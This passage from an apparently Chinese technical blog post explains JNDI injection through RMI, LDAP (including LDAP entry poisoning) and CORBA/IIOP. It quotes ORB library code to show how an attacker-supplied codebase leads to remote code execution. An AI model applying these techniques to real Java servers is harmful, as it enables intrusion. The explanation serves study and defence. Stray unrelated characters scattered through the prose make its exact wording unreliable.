整個攻擊過程為:攻擊者為JNDI lookup提供了一個絕對的RMI URL,然后服務器連接到攻擊者控制的RMI注冊表舌厨,該注冊表將返回惡意的JNDI引用岂却,服務器解碼JNDI引用后從攻擊者控制的服務器獲取工廠類,進行實例化的時候payload執(zhí)行裙椭。所以此攻擊方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等調用InitialContext.lookup()的情況躏哩。

(2)JNDI+LDAP
Naming Manager在JAVA對象(JAVA序列化、JNDI references等)解析運行時可能造成RCE揉燃,DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要區(qū)別是扫尺,對于前者,攻擊者就可以使用自己的LDAP服務器炊汤,對于后者正驻,攻擊者需要攻擊LDAP服務器條目弊攘,與應用程序交互時等待期返回被攻擊條目的屬性。

攻擊過程為:攻擊者為JND lookup提供了一個絕對LDAP URL姑曙,服務器連接到攻擊者控制的LDAP服務器襟交,該服務器返回惡意的JNDI引用。服務器解碼JNDI引用從攻擊者控制的服務器獲取工廠類伤靠,實例化工廠類時payload得以執(zhí)行婿着。

LDAP Entry Poisoning
LDAP攻擊主要針對于屬性而非對象,例如醋界,用lookup方法查找對象時,search()方法是在檢索LDAP條目的所需屬性(例如:用戶名提完、密碼形纺、電子郵件等),當只請求屬性時徒欣,就不會有可能危及服務器的Java對象解碼逐样。然而,如果應用程序執(zhí)行搜索操作打肝,并將returnObjFlag設置為true脂新,那么控制LDAP響應的攻擊者將能夠在應用服務器上執(zhí)行任意命令。

(3)JNDI+CORBA
org.omg.CORBA.Object read_Object會對IOR進行解析

public org.omg.CORBA.Object read_Object(Class clz)  {
        // In any case, we must first read the IOR.     
    IOR ior = IORFactories.makeIOR(parent);     
    if (ior.isNil())      return null;
    PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();
    String codeBase = ior.getProfile().getCodebase();   <1>            
    PresentationManager.StubFactory stubFactory = null; 
    if (clz == null) {          
        RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId());   <2>        
        String className = rid.getClassName();          
        boolean isIDLInterface = rid.isIDLType();

         if (className == null || className.equals( "" ))  stubFactory = null;          
        else                
            try {  <3>
                stubFactory = sff.createStubFactory(className,  isIDLInterface, codeBase, (Class)null, (ClassLoader)null);  
            } 
            catch (Exception exc) {                
                stubFactory = null;
            }
        else if (StubAdapter.isStubClass( clz )) {
            stubFactory = PresentationDefaults.makeStaticStubFactory(clz);      
        } else {           
              // clz is an interface class
              boolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ; 
          stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ;     
        }   
    return internalIORToObject( ior, stubFactory, orb ) ;   
}

攻擊者可以手工創(chuàng)建一個IOR粗梭,該IOR指定在他控制下的代碼庫位置<1>和IDL接口<2>争便,即存根工廠的位置。然后断医,它可以將運行有效負載的存根工廠類放在其構造函數中滞乙,并在目標服務器<3>中實例化存根,從而成功地運行payload

攻擊過程:攻擊者為JNDI lookup提供了一個絕對的IIOP URL鉴嗤。服務器連接到攻擊者控制的ORB斩启,該ORB將返回惡意IOR,然后服務器解碼IOR從攻擊者控制的服務器獲取存根工廠類醉锅。進行實例化的同時payload執(zhí)行兔簇。

參考資料

RMI
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html
https://paper.seebug.org/1012/
https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/tree/master/ldap/src/main/java/com/longofo
https://paper.seebug.org/1091/#java-rmi
JNDI
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
CORBA
https://paper.seebug.org/1124/#212-client-side

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市硬耍,隨后出現(xiàn)的幾起案子垄琐,更是在濱河造成了極大的恐慌,老刑警劉巖默垄,帶你破解...
    沈念sama閱讀 216,591評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件此虑,死亡現(xiàn)場離奇詭異,居然都是意外死亡口锭,警方通過查閱死者的電腦和手機朦前,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,448評論 3 392
  • 文/潘曉璐 我一進店門介杆,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人韭寸,你說我怎么就攤上這事春哨。” “怎么了恩伺?”我有些...
    開封第一講書人閱讀 162,823評論 0 353
  • 文/不壞的土叔 我叫張陵赴背,是天一觀的道長。 經常有香客問我晶渠,道長凰荚,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,204評論 1 292
  • 正文 為了忘掉前任褒脯,我火速辦了婚禮便瑟,結果婚禮上,老公的妹妹穿的比我還像新娘番川。我一直安慰自己到涂,他們只是感情好,可當我...
    茶點故事閱讀 67,228評論 6 388
  • 文/花漫 我一把揭開白布颁督。 她就那樣靜靜地躺著践啄,像睡著了一般。 火紅的嫁衣襯著肌膚如雪沉御。 梳的紋絲不亂的頭發(fā)上屿讽,一...
    開封第一講書人閱讀 51,190評論 1 299
  • 那天,我揣著相機與錄音吠裆,去河邊找鬼聂儒。 笑死,一個胖子當著我的面吹牛硫痰,可吹牛的內容都是我干的衩婚。 我是一名探鬼主播,決...
    沈念sama閱讀 40,078評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼效斑,長吁一口氣:“原來是場噩夢啊……” “哼非春!你這毒婦竟也來了?” 一聲冷哼從身側響起缓屠,我...
    開封第一講書人閱讀 38,923評論 0 274
  • 序言:老撾萬榮一對情侶失蹤奇昙,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后敌完,有當地人在樹林里發(fā)現(xiàn)了一具尸體储耐,經...
    沈念sama閱讀 45,334評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,550評論 2 333
  • 正文 我和宋清朗相戀三年滨溉,在試婚紗的時候發(fā)現(xiàn)自己被綠了什湘。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片长赞。...
    茶點故事閱讀 39,727評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖闽撤,靈堂內的尸體忽然破棺而出得哆,到底是詐尸還是另有隱情,我是刑警寧澤哟旗,帶...
    沈念sama閱讀 35,428評論 5 343
  • 正文 年R本政府宣布贩据,位于F島的核電站,受9級特大地震影響闸餐,放射性物質發(fā)生泄漏饱亮。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,022評論 3 326
  • 文/蒙蒙 一舍沙、第九天 我趴在偏房一處隱蔽的房頂上張望近尚。 院中可真熱鬧,春花似錦场勤、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,672評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至哈街,卻和暖如春留瞳,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背骚秦。 一陣腳步聲響...
    開封第一講書人閱讀 32,826評論 1 269
  • 我被黑心中介騙來泰國打工她倘, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人作箍。 一個月前我還...
    沈念sama閱讀 47,734評論 2 368
  • 正文 我出身青樓硬梁,卻偏偏與公主長得像,于是被迫代替她去往敵國和親胞得。 傳聞我的和親對象是個殘疾皇子荧止,可洞房花燭夜當晚...
    茶點故事閱讀 44,619評論 2 354

推薦閱讀更多精彩內容

  • JAVA相關基礎知識 1、面向對象的特征有哪些方面 1.抽象: 抽象就是忽略一個主題中與當前目標無關的那些方面阶剑,以...
    yangkg閱讀 664評論 0 1
  • 在分布式服務框架中跃巡,一個最基礎的問題就是遠程服務是怎么通訊的,在Java領域中有很多可實現(xiàn)遠程通訊的技術牧愁,例如:R...
    java菜閱讀 988評論 0 2
  • 這篇文章主要是基于我在看雪2017開發(fā)者峰會的演講而來素邪,由于時間和聽眾對象的關系,在大會上主要精力都集中在反序列化...
    編程小世界閱讀 768評論 0 0
  • 1猪半、面向對象的特征有哪些方面 1.抽象:抽象就是忽略一個主題中與當前目標無關的那些方面兔朦,以便更充分地注意與當前目標...
    michaelgong閱讀 823評論 0 1
  • 04 撞下一顆星星 吉姆拿開巨大花瓶子樹下凌亂的石頭偷线,漸漸的露出一個長長的盒子,打開盒子烘绽,里面裝個一個普通的不能再...
    無盡無盡夏閱讀 357評論 0 0